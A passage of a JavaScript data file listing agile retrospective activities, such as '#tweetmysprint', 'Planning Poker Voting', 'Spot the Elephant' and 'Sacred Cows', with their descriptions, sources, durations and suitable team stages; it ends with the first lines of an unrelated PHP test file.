Once you have lower levels that are well understood and easy to implement in a single iteration, \
dot vote to decide which to tackle in the next iteration. ",
source: "<a href='https://www.scrumalliance.org/community/profile/bsarni'><NAME></a>, described by <a href='http://growingagile.co.za/2012/01/the-problem-solving-tree-a-free-exercise/'><NAME></a>",
durationDetail: "30 minutes",
duration: "Long",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[96] = {
phase: 1,
name: "#tweetmysprint",
summary: "Produce the team's twitter timeline for the iteration",
desc: "Ask participants to write 3 or more tweets on sticky notes about the iteration they've just \
completed. Tweets could be on the iteration as a whole, on individual stories, a rant, or shameless self-promotion \
- as long as they are brief. Hash tags, emoticons, attached pictures, @usernames are all welcome. Allow ten minutes to \
write the tweets, then arrange them in a timeline and discuss themes, trends etc. Now invite participants to favorite, \
retweet and write replies to the tweets, again following up with discussion.",
source: "<a href='http://wordaligned.org'><NAME></a>",
durationDetail: "40 minutes for 2 week iteration with team of 6",
duration: "Medium",
stage: "All",
suitable: "iteration, project"
};
all_activities[97] = {
phase: 1,
name: "<NAME>",
summary: "Which things are clear and feel good and which feel vague and implicit?",
desc: "Use this activity if you suspect the team to make lots of unconscious decisions hardly ever \
questioning anything. You can figure out what things need to be talked about to get an explicit grasp of them. \
<br><br> \
You need: \
<ul> \
<li> about 3 metres of string as the clothesline</li> \
<li> about 20 clothes pins</li> \
<li> a white shirt (cut from paper)</li> \
<li> a pair of dirty pants (cut from paper)</li> \
</ul> \
Hang up the clothesline and mark the middle, e.g. with a ribbon. \
Hang up the clean shirt on one side and the dirty pants on the other. \
Ask the team now to write items onto index cards for each of the categories. \
Hang up the notes with clothespins and re-arrange them into clusters. \
Now the team picks 2 'dirty' and 2 'clean' topics they want to talk about, e.g. by dot voting.",
source: "<a href='https://www.xing.com/profile/KatrinElise_Dreyer'><NAME></a>",
durationDetail: "10 minutes",
duration: "Short",
stage: "Forming, Storming, Norming",
suitable: "iteration, project, release"
};
all_activities[98] = {
phase: 3,
name: "Planning Poker Voting",
summary: "Use your Planning Poker cards for un-influenced voting",
desc: "If you've got very influential and / or shy team members you can re-use Planning Poker cards \
to vote simultaneously: \
<br><br> \
Write all suggested actions on sticky notes and put them onto a wall. Hand out an ordered deck of Planning Poker \
cards to each participant. Count the proposals and remove that many cards from the back of the card decks. \
If you've got 5 suggestions you might have cards '1', '2', '3', '5', and '8'. This depends on your deck \
(some have a '1/2' card). It doesn't matter, as long as all participants have the same set of values. \
<br><br> \
Explain the rules: Choose a card for each suggestion. Choose a low value if the action is not worth doing \
in your opinion. Choose a high value if the action is worth starting next iteration. \
<br><br> \
Give them a minute to sort out their internal ranking and then present the first suggested action. \
Everybody chooses a card and they reveal them at the same time. \
Add the numbers from all cards and write the sum onto the action. \
Remove the used poker cards. Repeat this for all actions. \
If you have more actions than poker values the players can show 'no card' (counting 0) for the appropriate number of times. \
<br><br> \
Implement the action with the highest sum in the next iteration. Add more actions only if there's team consensus to do so.",
source: "<a href='https://www.xing.com/profile/Andreas_Ratsch'><NAME></a>",
durationDetail: "15 minutes",
duration: "Medium",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[99] = {
phase: 3,
name: "Landscape Diagram",
summary: "Assess action items based on how clear they are and take your pick",
desc: "This activity is helpful when a team is facing an ambiguous, volatile, uncertain or complex set of problems \
and has many suggested action items to choose from. \
<br><br> \
Draw a <a href='http://wiki.hsdinstitute.org/landscape_diagram'>Landscape Diagram</a>, i.e. an x-axis labeled 'Certainty about approach' \
and a y-axis labeled 'Agreement on issue'. Both go from low certainty / agreement in their mutual origin to high towards the top / right. \
For each action item ask 'How much agreement do we have that solving this problem would have a great beneficial impact? \
How certain are we about the first steps toward a solution?' Place the note on the diagram accordingly. \
<br> \
When all actions are placed, shortly discuss the 'map' you created. Which actions will give the greatest benefit in the next iteration? \
Which are more long term? \
<br><br> \
Choose 2 actions from the simple / ordered area of the map or 1 action from the complex area.",
source: "<a href='http://www.futureworksconsulting.com/who-we-are/diana-larsen'><NAME>en</a> adapted it from <a href='http://wiki.hsdinstitute.org'>Human Systems Dynamics Institute</a>",
durationDetail: "25 minutes",
duration: "Medium",
stage: "Forming, Storming, Norming",
suitable: "iteration, project, release"
};
all_activities[100] = {
phase: 4,
name: "Endless Blessings",
summary: "Bless the upcoming iteration with all your good wishes",
desc: "Stand in a circle. Explain that you will collect good wishes for the next iteration, building on each other's blessings. \
If you do it for the first time, start the activity by giving the first blessing. Then go around the circle to add to your blessing. \
Skip over people who can't think of anything. When your losing steam, ask for another blessing and start another round. Continue until \
no one can think of blessings anymore. <br><br>\
Example:<br>\
You start with 'May we finish all stories next iteration'. Your neighbor continues with 'And may they delight our customers'. \
Their neighbor wishes 'And may we be able to automatically test all new features'. And so on until ideas for additions to this \
blessing run out.<br> \
Then someone else can start a new round, e.g. with 'May we write beautiful code next iteration'.",
source: "<a href='http://www.deepfun.com/bernie/'><NAME></a> via <a href='http://www.futureworksconsulting.com/who-we-are/diana-larsen'><NAME></a>",
duration: "Short",
stage: "Norming, Performing, Adjourning",
suitable: "iteration, project, release"
};
all_activities[101] = {
phase: 4,
name: "<NAME> Me",
summary: "Recognize the efforts of teammates and self-improve a little",
desc: "Put up 2 columns on a white board: 'Thank you!' and 'My action'.\
Ask everybody to write one sticky per column: Something they want to thank \
another teammate for doing; and something they want to change about their own \
behavior in the next iteration. It can be something really small. \
Once everyone is finisihed, do a round for each person to present their \
stickies and post them to the board.",
source: "<NAME>.",
durationDetail: "10 minutes",
duration: "Short",
stage: "All",
suitable: "iteration, project"
};
all_activities[102] = {
phase: 3,
name: "Systemic Consensus",
summary: "Check for resistance instead of approval",
desc: "Do you have a hotly debated matter with several possible ways to go and the team \
can't agree on any of them? Instead of trying to find a majority for a way that \
will create winners and losers, try what happens if you turn the decision inside out: <br>\
Draw a table with the voters in the left-most column and proposals on top. Now everybody has to \
fill in their resistance towards each proposal. 0 means 'no resistance - this is what I want', \
up to 10, meaning 'shoot me now'. Give the least hated solution a try.",
source: "<NAME>, <NAME> \& <NAME> via <a href='http://finding-marbles.com/2012/01/12/systemic-consensus/'>Corinna Baldauf</a>",
durationDetail: "10 minutes",
duration: "Short",
stage: "Storming",
suitable: "iteration, project"
};
all_activities[103] = {
phase: 4,
name: "Note to Self",
summary: "Remind yourself of your good intentions",
desc: "Thinking back about the discussions, everybody writes a reminder for her- or himself about \
a change in their own behaviour they want to try \
during the next iteration. It's for quiet self reflection and is not shared with the group. \
They take their respective sticky notes with them to their desktop and put it in a place they \
will look at often.",
source: "<a href='http://www.funretrospectives.com/note-to-self/'>Fun Retrospectives</a>",
durationDetail: "3 minutes",
duration: "Short",
stage: "All",
suitable: "iteration, project"
};
all_activities[104] = {
phase: 2,
name: "Election Manifesto",
summary: "Different parties present manifestos for change. Who will get your vote?",
desc: "Is there an election coming up in your country? Use it as a back drop \
for your team to convince each other of their change initiatives. \
<br><br> \
Ask the participants to split into political parties with 2 or 3 members. \
For 20 minutes, each party will work on a manifesto for change. What isn't working? How would they improve things? <br>\
Afterwards the parties meet again and their leaders present their manifestos. Be prepared for tough questions and heckling!<br> \
Now plan for a better world! Summarise the manifestos with sticky notes, one color per party. What do the parties agree on? \
Which promises are unrealistic and which can you achieve?",
source: "<a href='http://wordaligned.org/'><NAME></a>",
durationDetail: "45 minutes",
duration: "Long",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[105] = {
phase: 0,
name: "Who said it?",
summary: "Attribute quotes to team members and situations",
desc: "Before the retro, spend some time looking through email threads, chat logs, ticket discussions, and the like. \
Collect quotes from the last iteration: Funny quotes, or quotes which without context sound a little odd. \
Write them down with the name of the person who said them. \
<br><br> \
Read out the quotes at the beginning of the retro, and ask the team to guess who said it - the source may not self-identify! \
Often the team will not only know who said it, but also talk about what was going on at the time.",
source: "Beccy Stafford",
durationDetail: "5-10 minutes",
duration: "Short",
stage: "Norming, Performing",
suitable: "iteration, project, release, familiarTeam"
};
all_activities[106] = {
phase: 0,
name: "<NAME>",
summary: "Imagine yourself as a superhero! What is your superpower?",
desc: "Each participant creates a superhero version of themselves based on how they see themselves in the team / project - \
Complete with appropriate superpowers, weaknesses and possibly an arch-nemesis.",
source: "<a href='http://pietrotull.com/2015/01/26/a-retro-in-practise/'>Pietari Kettunen</a>",
durationDetail: "10 minutes",
duration: "Short",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[107] = {
phase: 0,
name: "Know your neighbour - Opening",
summary: "How did your right neighbour feel during the iteration",
desc: "Ask each team member to try to briefly describe how their neighbour to the right felt during the iteration. \
Their neighbour confirms or corrects their guess. \
<br> \
Once all participants said what they think about how their teammates felt, you get an idea of how connected they are, \
how the communication is flowing in your team and if people are aware of the feelings expressed, in some way, by others. \
<br><br> \
Consider closing with activity #109.",
source: "<a href='https://www.linkedin.com/in/fabilewk'><NAME></a>",
durationDetail: "5-10 minutes",
duration: "Short",
stage: "All",
suitable: "iteration"
};
all_activities[108] = {
phase: 4,
name: "Know your neighbour - Closing",
summary: "How does your left neighbour feel about the retrospective",
desc: "Ask each team member to guess if their left neighbour thinks this retrospective was a good use \
of their time and why. Their neighbour confirms or corrects their guess. \
<br><br> \
If you have set the stage with activity #108, make sure to go around the other direction this time.",
source: "Inspired by <a href='https://www.linkedin.com/in/fabilewk'><NAME></a>",
durationDetail: "5-10 minutes",
duration: "Short",
stage: "All",
suitable: "iteration"
};
all_activities[109] = {
phase: 1,
name: "Movie Critic",
summary: "Imagine your last iteration was a movie and write a review about it",
desc: "Introduce the activity by asking: \
Imagine your last iteration was a movie and you had to write a review: \
<ul> \
<li> What was the genre of the movie (e.g. horror, drama, ...)?</li> \
<li> What was the (central) theme? Describe in 2-3 words.</li> \
<li> Was there a big twist (e.g. a bad guy)?</li> \
<li> What was the ending like (e.g. happy-end, cliffhanger) and did you expect it?</li> \
<li> What was your personal highlight?</li> \
<li> Would you recommend it to a colleague?</li> \
</ul> \
Give each team member a piece of paper and 5 minutes to silently ponder the questions. \
In the meantime (or before the session) divide a flip chart in 7 columns headed with 'Genre', 'Theme', 'Twist', 'Ending', 'Expected?', 'Highlight', 'Recommend?'. \
When everyone has finished writing, fill out the flip chart while each participant reads out their notes. \
<br> \
Afterwards look at the finished table and lead a discussion about \
<ul> \
<li>What's standing out?</li> \
<li>What patterns do you see? What do they mean for you as a team?</li> \
<li>Suggestions on how to continue?</li> \
</ul>",
source: "<a href='https://twitter.com/tuedelu'><NAME></a>",
durationDetail: "20-25 minutes",
duration: "Medium",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[110] = {
phase: 5,
name: "<NAME>",
summary: "Learn how to raise constructive criticism with your team mates in a trusting and positive way",
desc: "Try this activity to help teams that are only ever saying nice things to each other and seem reluctant to raise \
concerns about each other. If they are always keeping the peace, they miss growth opportunities \
and issues may fester. Feedback Sandwich is a way to learn how to give and receive potentially critical feedback. It goes like this: \
<br><br> \
Team members sit in a circle and take turns receiving the feedback. The team member who's turn it is is not allowed to say \
anything until each person finishes their 3 points. Once finished, the person receiving the feedback can only say 'Thank You'. \
Each takes turns receiving the feedback until all team members have participated. \
<br><br> \
Several days before the retro, you send out the following information to team members so that they can prepare: <br> \
'Think about the below questions for each of your team mates and prepare an answer before the session: \
<ol> \
<li>What is something you really admire/respect about this person or something you think they do really well in a professional capacity?</li> \
<li>What is something you think is a weakness for this person? (Perhaps something they don't do so well, need to work on etc.)</li> \
<li>What is something you feel this person shows promise in, but could perhaps work on a little more to truly shine at it?</li> \
</ol> \
These questions are quite open in that you can draw on both technical and soft skills for each team member. \
So it might be that you choose to highlight a specific technical strength/weakness, or you might comment on \
someone's professional conduct, approachability, teaching skills, communication skills, etc. \
<br><br> \
<b>Disclaimer</b>: This activity is not about being nasty, or mean. It's intended to help the team get to know each \
other better and to improve on how we work individually and as a group. \
The idea is not to cause offence, but rather to understand how your team sees you and perhaps take something \
away to work on. It is up to you what you take away from it, you are free to ignore people's suggestions if \
you do not agree with them. Please deliver your feedback kindly and remember to thank your team for their \
feedback about you.'",
source: "<a href='http://www.silverstripe.com/who-we-are/our-team/diana-hennessy'><NAME></a>",
durationDetail: "60 minutes",
duration: "Long",
stage: "Performing, Stagnating",
suitable: "iteration, project, release, intervention, liftoff"
};
all_activities[111] = {
phase: 4,
name: "Appreciation Postcards",
summary: "Team members write appreciative postcards for later delivery",
desc: "Hand out blank postcards. Each team member silently writes a postcard to another team member, thanking them \
for something they did. They can write as many postcards as they like, and they can address them either to \
individuals or to multiple people. \
Collect all postcards. Consider using envelopes with the name on for privacy. Deliver the cards \
throughout the next iteration to make someone's day. \
<br><br> \
Variation: Use normal paper and let participants fold the paper into little <a href='http://www.origami-fun.com/origami-crane.html'>cranes</a> for some origami fun. \
(Suggestion by <NAME>)",
source: "<a href='https://medium.com/agile-outside-the-box/retrospective-technique-appreciation-post-cards-e53ef3d67425'>Philip Rogers</a>",
durationDetail: "5-10 minutes",
duration: "Short",
stage: "All",
suitable: "iteration, project"
};
all_activities[112] = {
phase: 2,
name: "Set Course",
summary: "Imagine you're on a voyage - Cliffs and treasures await",
desc: "Imagine you're navigating a boat instead of a product or service. \
Ask the crew the following questions: \
<ol> \
<li> Where is a treasure to be found? (New things worth trying) </li> \
<li> Where is a cliff to be safe from? (What makes the team worry)</li> \
<li> Keep course for ... (What existing processes go well?)</li> \
<li> Change course for... (What existing processes go badly)</li> \
</ol>",
source: "<a href='https://www.xing.com/profile/KatrinElise_Dreyer'><NAME></a>",
durationDetail: "30 minutes",
duration: "Long",
stage: "All",
suitable: "iteration, project"
};
all_activities[113] = {
phase: 0,
name: "Give me a face",
summary: "Participants show how they feel by drawing a face on a tangerine",
desc: "Each team member gets a sharpie and a tangerine with a sticky note asking: \
'How do you feel? Please give me a face'. After all are done drawing you go around and \
compare the works of art and emotions. It's a light-hearted way to set the stage.",
source: "<a href='http://se-co.de/index.php/das-sind-wir/'>Afagh Zadeh</a>",
durationDetail: "5 minutes",
duration: "Short",
stage: "All",
suitable: "iteration, project"
};
all_activities[114] = {
phase: 2,
name: "Force Field Analysis",
summary: "Analyse the factors that support and hinder a particular initiative",
desc: "State the topic that the team will explore in depth (deployment \
processes, peer-programming, Definition of Done, ...). Break the room into groups \
of 3-4 people each. Give them 5-7 minutes to list all contributing factors, drivers \
and actions that make up the topic. Go around the room. Each group reads 1 of their \
sticky notes and puts it up inside the force field until no group has any items left. \
Cluster or discard duplicates. Repeat the last 2 steps for factors that inhibit or \
restrain the topic from being successful or being as effective as it could be. Review \
all posted items. Add any that are missing. \
<br><br> \
To identify the most influential factors, everybody gets to 4 votes - 2 for contributing \
factors, 2 for inhibitors. Tally the votes and mark the top 2x2 factors with big arrows. \
Spend the last 15-20 mins of the session brainstorming ways to increase the top driving factors \
and decrease the top restraining factors.",
source: "<a href='http://derekneighbors.com/2009/02/agile-retrospective-using-force-field-analysis/'>Derek Neighbors</a>, via <a href='http://www.silverstripe.com/about-us/team/project-management/joel-edwards/'>Jo<NAME></a>",
durationDetail: "60 minutes",
duration: "Long",
stage: "Storming, Stagnating",
suitable: "iteration, project"
};
all_activities[115] = {
phase: 1,
name: "Genie in a Bottle",
summary: "Playfully explore unmet needs",
desc: "Present the following scenario to the participants: You have freed a genie from its bottle \
and you're granted the customary 3 wishes. What do you wish for? Please make \
<ul> \
<li>one wish for yourself</li> \
<li>one wish for your team</li> \
<li>one wish for all the people in the world</li> \
</ul> \
Cheating (i.e. wishing for more wishes or more genies) is not allowed! \
<br><br> \
Let everybody present their wishes. Optionally you can then dot-vote on the best or most appreciated wishes.",
source: "Özer Özker & <NAME>",
durationDetail: "10-15 minutes",
duration: "Medium",
stage: "All",
suitable: "iteration, project"
};
all_activities[116] = {
phase: 3,
name: "Maximize Follow Through",
summary: "Think about how the team will follow up and set yourselves up for success",
desc: "Prepare a flip chart with 4 columns titled 'Action', 'Motivation', 'Ease' and 'Reminder'. \
Write down the list of actions the team wants to take in the first column. \
Read out each action and fill in the other columns by asking: \
<ul> \
<li>Motivation - How can we motivate ourselves to do this? \
<br>Examples: \'Jane will own this and feedback at the next retrospective', or 'We'll reward ourselves with cake on Friday if we do this every day'</li><br> \
<li>Ease - How can we make it easy to do? \
<br>Example: For an action 'Start involving Simon in the stand up' a possibility could be 'Move the task board next to Simon's desk'</li><br> \
<li>Reminder - How will we remember to do this? \
<br>Examples: 'Richard will put a reminder in Google Calendar' or 'We'll do this after the stand up each day' \
</ul> \
Actions do not require all of the above. But if there are no suggestions for any of the columns, ask the team if they really think they will do it.",
source: "<a href='https://twitter.com/nespera'><NAME></a>",
durationDetail: "15 minutes",
duration: "Medium",
stage: "Storming",
suitable: "iteration"
};
all_activities[117] = {
phase: 2,
name: "<NAME>",
summary: "Address problematic burndowns and scope creep",
desc: "This activity is helpful when a team is constantly dealing with additional requests and scope creep. \
Use the burndown chart of problematic sprints to draw snowy mountains with the same outline. Add a few trees here and there. \
Print drawings of kids in various sledging situations such as kid sledging down fast, kid sledging and being scared, \
kid with a sledge looking bored, etc. (You can use Google image search with 'kid sledging drawing'). \
<br><br> \
In teams of 2 or 3, ask the team members to identify which kid's reaction goes with which part of the mountain. <br> \
Example: If the mountain is flat, the kid might be bored. If you're facing a wall, the kid might be scared. \
<br><br> \
You can then discuss the team's reaction facing their own burndowns.",
source: "<NAME>",
durationDetail: "30 minutes",
duration: "Long",
stage: "All",
suitable: "iteration"
};
all_activities[118] = {
phase: 1,
name: "Hit the Headlines",
summary: "Which sprint events were newsworthy?",
desc: "Collecting some news headlines in advance and take them to the retrospective to \
serve as examples. Try to gather a mixture of headlines: factual, opinion, review. \
Place the headlines where everyone can see them. Hand out sticky notes. Give team members 10 \
minutes to come up with their own headlines describing newsworthy aspects of the sprint. \
Encourage short, punchy headlines. \
<br> \
Stick the completed headlines to a whiteboard. If any cover the same news item, combine them. \
If any are unclear, ask the reporter for details. Vote on which news items to discuss and analyse in more depth.",
source: "<a href='http://wordaligned.org'>Thomas Guest</a>",
durationDetail: "15-20 minutes",
duration: "Medium",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[119] = {
phase: 4,
name: "<NAME>",
summary: "Acknowledge what's awesome about your team",
desc: "Give each team member a piece of paper and ask them to write down the following text: \
<br> \
'My team is awesome because _______________ <br> \
and that makes me feel __________________' \
<br><br> \
Everyone fills out the blanks for themselves and signs below. When everyone is finished, \
put up the sheets on a wall. A volunteer reads out the sheets and the team celebrates by \
cheering or applausing. Take some time to review and share observations. \
Take a picture to remind the team how awesome it feels to be part of the team.",
source: "<a href='http://agileinpills.wordpress.com'><NAME></a>",
duration: "Short",
stage: "Norming, Performing, Adjourning",
suitable: "iteration, project, release"
};
all_activities[120] = {
phase: 1,
name: "The Good, the Bad, and the Ugly",
summary: "Collect what team members perceived as good, bad and non-optimal",
desc: "Put up three sections labeled ‘The Good’, ‘The Bad’ and ‘The Ugly’. Give everyone \
5 minutes to note down one or more things per category from the last sprint. One aspect per post-it. \
When the time is up, have everyone stick their post-its to the appropriate labels. Cluster as you collect, if possible.",
source: "<a href='http://qualityswdev.com/2016/02/04/wild-wild-west-retrospective/'><NAME></a>",
durationDetail: "10 minutes",
duration: "Short",
stage: "All",
suitable: "iteration, project"
};
all_activities[121] = {
phase: 0,
name: "Positive and True",
summary: "Boost everyones energy with tailored questions",
desc: "Ask your neighbor a question that is tailored to get a response that \
is positive, true and about their own experiences, e.g. \
<ul> \
<li>What have you done really well in the last iteration?</li> \
<li>What is something that makes you really happy?</li> \
<li>What were you most happy about yesterday?</li> \
</ul> \
Then your neighbor asks their neighbor on the other side the same question and \
so on until everyone has answered and asked. \
<br><br> \
This will give everyone a boost and lead to better results.",
source: "<a href='http://www.twitter.com/sinnvollFUEHREN'><NAME> and <NAME></a>, adapted from <a href='http://www.timetothink.com/meet-us/nancy-kline/'>Nancy Kline</a>",
duration: "Short",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[122] = {
phase: 1,
name: "Find your Focus Principle",
summary: "Discuss the 12 agile principles and pick one to work on",
desc: "Print the <a href='http://www.agilemanifesto.org/principles.html'>principles of the Agile Manifesto</a> \
onto cards, one principle \
per card. If the group is large, split it and provide each smaller group with \
their own set of the principles. \
<br><br> \
Explain that you want to order the principles according to the following question: \
'How much do we need to improve regarding this principle?'. In the end the \
principle that is the team's weakest spot should be on top of the list. \
<br><br> \
Start with a random principle, discuss what it means and how much need for \
improvement you see, then place it in the middle. \
Pick the next principle, discuss what it means and sort it relatively to the other \
principles. You can propose a position depending on the previous discussion and \
move from there by comparison. \
Repeat this until all cards are sorted. \
<br><br> \
Now consider the card on top: This is presumeably the most needed and most urgent \
principle you should work on. How does the team feel about it? Does everyone still \
agree? What are the reasons there is the biggest demand for change here? Should you \
compare to the second or third most important issue again? If someone would now \
rather choose the second position, why?",
source: "<a href='http://www.agilesproduktmanagement.de/'><NAME></a>",
duration: "Long",
stage: "Forming, Storming, Stagnating",
suitable: "iteration, project, release"
};
all_activities[123] = {
phase: 3,
name: "Outside In",
summary: "Turn blaming others into actions owned by the team",
desc: "If your team has a tendency to see obstacles outside of their team and \
influence and primarily wants others to change, you can try this activity: \
<br><br> \
Draw a big rectangle on the board and another rectangle inside of it, like a picture frame. \
Hang all complaints and grievances that surfaced in previous phases into the frame. \
<br><br> \
Now comes the interesting twist: Explain that if they want anything in the outside frame \
to change, they will have to do something themselves to affect that change. Ask the team to \
come up with actions they can do. Put these actions into the inner rectangle (near the \
outer sticky they are addressing).",
source: "<a href='http://www.twitter.com/sinnvollFUEHREN'><NAME> and <NAME></a>",
duration: "Medium",
stage: "Forming, Storming, Norming",
suitable: "iteration"
};
all_activities[124] = {
phase: 3,
name: "Three by Three",
summary: "Build on each other's ideas to create a great action item",
desc: "This silent brainstorming technique helps the team come up with truly \
creative solutions and gives quiet people equal footing: \
<br><br> \
<ul> \
<li>Everyone writes 3 sticky notes with 1 action idea each</li> \
<li>Go around the room and pitch each idea in 15 seconds</li> \
<li>Gather all stickies so that everyone can see them</li> \
<li>Each team member adds their name to the sticky note that inspires them the most</li> \
<li>Take off all ideas without a name on them</li> \
</ul> \
Repeat this process 2 more times. Afterwards, everyone can dot vote to determine which \
action(s) the team is going to implement.",
source: "<a href='https://www.qeek.co/blog/collaborative-idea-exploration-and-the-end-of-the-loudest-voice'><NAME></a>",
duration: "Medium",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[125] = {
phase: 1,
name: "I like, I wish",
summary: "Give positive, as well as non-threatening, constructive feedback",
desc: "Hang up two flip charts, one headed 'I like' and the other 'I wish'. \
Give the participants 5-10 minutes to silently write down what they liked about the \
past iteration and the team and what they wish was different (and how it should be \
different) – one point per sticky note. \
When everyone is finished, go around the circle and everybody reads out their 'I like' \
items and hangs them up. Repeat the same for the 'I wish' stickies. Either debrief or use the stickies \
as input for the next phase.",
source: "Inspired by <a href='http://ilikeiwish.org/'><NAME></a>",
duration: "Medium",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[126] = {
phase: 1,
name: "Delay Display",
summary: "What's the current delay? And where are we going again?",
desc: "Draw a table with 3 columns. Head the first one 'Destination', \
the second one 'Delay' and the last one 'Announcement'. \
<br><br> \
Introduce the scenario: 'You are at a train station. Where is your train going?. \
(It can be anything, a fictional or a real 'place'.) How much of a delay does the \
train currently have? And what is the announcement? Why is there a delay? (This can \
be the 'real' reason or modeled after the typical announcements.)' \
Each team member fills out 3 sticky notes, 1 for each column. \
Going around the circle, each team member posts their notes and explains briefly, why \
they're going to destination X and why there's a delay (or not). \
<br><br> \
Trains and train delays are very familiar in Germany. Depending on your country and culture \
you might want to pick a different mode of transportation.",
source: "<a href='https://www.slacktime.org'><NAME></a>",
duration: "Medium",
stage: "Storming, Performing",
suitable: "iteration, project, release"
};
all_activities[127] = {
phase: 1,
name: "Learning Wish List",
summary: "Create a list of learning objectives for the team",
desc: "Hand out pens and paper. Each participant writes down what they \
wish their coworkers would learn (as a team - no need to name individual \
people). When everyone is done, collect all items on a board and count how \
often each one appears. Pick the top three things as learning objectives, \
unless the team's discussion leads somewhere else.",
source: "<a href='https://twitter.com/tottinge'><NAME></a>",
duration: "Medium",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[128] = {
phase: 0,
name: "String Theory",
summary: "Surface shared traits and mutual interests among team members",
desc: "This is an excellent activity for newly formed teams of 6 to 15 \
members. It speeds up team building by sharing traits and interests \
so that team members can build closer bonds than possible with just \
work-related stuff. \
<br><br> \
Have the team form a circle with everyone looking inwards. Leave about a \
foot of space between people. Depending on what you want to stress with this activity, you can ask colleagues that usually \
work remotely to stand about 5 feet away from the circle. \
<br><br> \
Hand a ball of yarn to a random player and tell them to hold on tight to the end \
of the yarn with their non-dominant hand and the ball in the dominant one. The \
yarn holder starts the game by saying something about themselves that is not \
work-related such as 'I have a daughter' or 'I play the guitar'. If this statement \
is true for any other team member they raise their hand and say 'Yes, that's me'. \
The yarn holder passes the ball to the person who raised their hand. If there's \
more than one, the yarn holder can choose one. If no one shares the statement the \
yarn holder has to make another statement. \
<br><br> \
The person who received the ball of yarn holds on to the thread and tautens it. \
This is the first connection in a network of shared traits. The new yarn holder \
now makes a statement about themselves, passes the ball while holding on to their \
part of the yarn and so on. \
<br><br> \
The game ends when time is up OR everybody has at least two connections OR the \
yarn runs out. \
<br><br> \
You can debrief with some of these questions: \
<ul> \
<li>What did you notice?</li> \
<li>If you've got remote people: How does it feel to stand apart? How does it feel to have someone stand apart?</li> \
<li>How do you feel about few (or no) connections?</li> \
<li>What is it like to see this web of connections?</li> \
<li>Can you be a team without this web?</li> \
<li>What would happen if someone let go of their threads? \
How would it affect the team?</li> \
<li>Is there anything you will do differently at work now?</li> \
</ul> \
<br> \
This activity is only the first part of a \
<a href='https://www.dropbox.com/s/e4wv43gw82p409i/Stringtheory%20-%20Team%20Exercise.pdf'>longer game</a>.",
source: "<a href='https://twitter.com/ebstar'><NAME></a>",
duration: "Medium",
stage: "Forming",
suitable: "iteration, project, release"
};
all_activities[129] = {
phase: 0,
name: "Spot the Elephant",
summary: "Are there problems nobody talks about?",
desc: "Prepare 1 set of cards per team member. A set of cards contains \
1 elephant card, 1 boot card, 1 happy sun card, and 1 moon card. Explain how they each choose one card from their set: \
<ul>\
<li>If a team member thinks there is at least one 'Elephant in the room' (unspoken but important problem) for this team, then choose the Elephant card. \
Choosing this card doesn't mean that they have to talk about the Elephant or even say what they think the problem is.</li> \
<li>If there are no Elephants, but they got their feelings hurt in an interaction at least once since the last retrospective \
(and didn't mention it), choose the Boot crushing flower card.</li>\
<li>If everything is hunky dory for them, choose the Happy Sun.</li> \
<li>If they're uncomfortable sharing, or don't feel like any other card fits, choose the neutral Moon.</li> \
</ul> \
To preserve anonymity, everyone places their chosen card face down on the feedback pile and \
the rest of their sets face down on a discard pile. Shuffle the discard pile to ensure anonymity and put it aside. \
Shuffle the feedback pile and then reveal the cards one at a time. \
<br><br>\
If your team has 1 or more Elephants in the room, you have some serious issues with psychological safety. \
Let the team sit with their new knowledge and offer a larger retrospective soon to make space for them to share \
if they wish, but do not ask directly who chose what. Preserve the anonymity and do not coerce explanations of the \
chosen card! This is a critical opportunity to build trust and preserve your ability to gain insight into the state \
of the team. \
<br><br> \
In the same way, depending on the size of your team, two or more hurt feelings suggest that you may have safety issues. \
Two or more Moons also suggests a lack of psychological safety. \
Take this feedback into consideration when designing your next retro. \
There are lots of great ways to more thoroughly dive into and surface learnings, this activity just points out when such \
a retrospective is needed.",
source: "<a href='https://agilehunter.wordpress.com/2017/06/13/elephant-safari/'><NAME></a>",
duration: "Short",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[130] = {
phase: 5,
name: "<NAME>",
summary: "What is the organization clinging to that doesn't make sense anymore?",
desc: "This activity is great for shaking up routine in places that do things \
the way they've always done them. Introduce it by telling the story of the sacred cows, preferably the \
<a href='http://www.solutionsiq.com/agile-companies-slaughterhouses/'>long epic version here</a>. Here's the gist: \
<br><br> \
'In some cultures cows were sacred, never to be killed for food or any other reason. \
The cows roamed free, leading a happy life and usually died of old age. With rare \
exceptions such as one fateful spring in a city far, far away ...\
<br><br> \
This particular city came under siege by a superior enemy force. All the citizens withdrew \
into the safety of the city walls but there was nothing going in or out of the city. Days \
turned into weeks and the citizens grew hungry and desperate. There was hardly any \
food left. They did, however, have a lot of sacred cows. Unfortunately, the idea of \
killing a sacred cow was taboo and also a horrible crime. \
<br><br> \
But these were not ordinary times. If the attackers were to succeed they would certainly \
kill the cows. So wasn’t it a better if the soldiers ate some of the cows to defend the \
town and maybe safe the people and the rest of the cows? In the end, the town had to \
re-evaluate their stance on cows. They thought and acted in ways that were unthinkable before. \
And it worked. They saved their town and the people in it. Not all the cows, though.’ \
<br><br> \
Hand out sticky notes and ask the participants to write down the sacred cows of their \
organisation: Things they have always done a certain way without ever asking why. \
<br><br> \
Go around the group and invite the team to describe their ‘cows’. For big groups, it works \
best if they break into smaller groups for the discussion and share conclusions later with \
everyone. \
<br><br> \
Now it’s time to grab the bull by its horns. What can you do to slaughter a sacred cow? Every \
person / group proposes 2-3 actions / experiments. When all suggestions are on the table \
everyone has to sign at least one initiative as a supporter. Initiatives without supporters \
are discarded. \
<br><br> \
To close the retrospective, invite the group to gather in a round. Set the \
timer to 10 minutes and prepare a token. Ask them to share what they've \
gotten from the retrospective. Sharing is voluntary: if someone \
wants to share they have to ask for the token.",
source: "<a href='https://twitter.com/ani_angelini'><NAME></a>",
duration: "Short",
stage: "All",
suitable: "iteration, project, release"
};
// Values for duration: "<minMinutes>-<maxMinutes> perPerson"
// Values for suitable: "iteration, realease, project, introverts, max10People, rootCause, smoothSailing, immature, largeGroup"
<file_sep><?php
namespace App\Tests\Activity;
use App\Model\Activity\ActivityByPhase;
use Doctrine\ORM\EntityManager;
